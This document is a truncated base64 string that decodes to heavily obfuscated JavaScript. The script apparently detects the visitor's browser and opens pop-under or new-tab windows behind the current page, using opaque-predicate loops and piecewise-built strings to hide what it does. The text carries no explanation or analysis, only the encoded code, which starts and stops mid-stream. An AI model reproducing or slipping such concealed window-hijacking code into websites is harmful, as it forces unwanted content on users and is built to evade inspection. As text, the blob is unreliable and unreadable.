QsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR3IsdXIsbyx1aSxHcix1cixHcix1aSxRcix1cix1aSx3NS5ZNCgxMykpKTtpdS5LKGEscWEsZnVuY3Rpb24oKXtmdW5jdGlvbiBmKCl7bigpO2FbSW9dKCk7bygpO3JvKGMpO31ofHwoaD1ndSxzPWFbQmNdPUF1KFVhK1Z0K2NpLGksWmMuayh1LlNlKGUpKSksaXUuWChhLGJvLGYpLGM9aW8oZiwzZTMpLGFbbXJdW1FyXVtQYStHcithaStHcit4YytHcit6dCtHcitwYV09dS5GZSgpWzFdW1BuK0dyK2FpK0dyK3hjK0dyK3p0K0dyK3BhXSk7ZnVuY3Rpb24gbigpe3c1Llk0KDE0KTthW21yXVtRcl1bdzUudTQoUGEsenQsR3IsR3IsR3IseGMsR3IsYWkscGEpXT1Hcjt9ZnVuY3Rpb24gbygpe3ZhciBhMSxZMSxmMTthMT0tMTU2OTI3MTMyMDtZMT0yMzc1ODcyNDtmMT0yO2Zvcih2YXIgRDE9MTt3NS5MMShEMS50b1N0cmluZygpLEQxLnRvU3RyaW5nKCkubGVuZ3RoLDk0NDMyKSE9PWExO0QxKyspe3NbRWMlR3ItYmFdKGVbSGldLGVbcF0pO3NbZGElR3IqYmFdKGVbb2NdLGVbS2FdKTtzW0VpXVtaXSh0KTtyKHMpO2YxKz0yO31pZih3NS5kMShmMS50b1N0cmluZygpLGYxLnRvU3RyaW5nKCkubGVu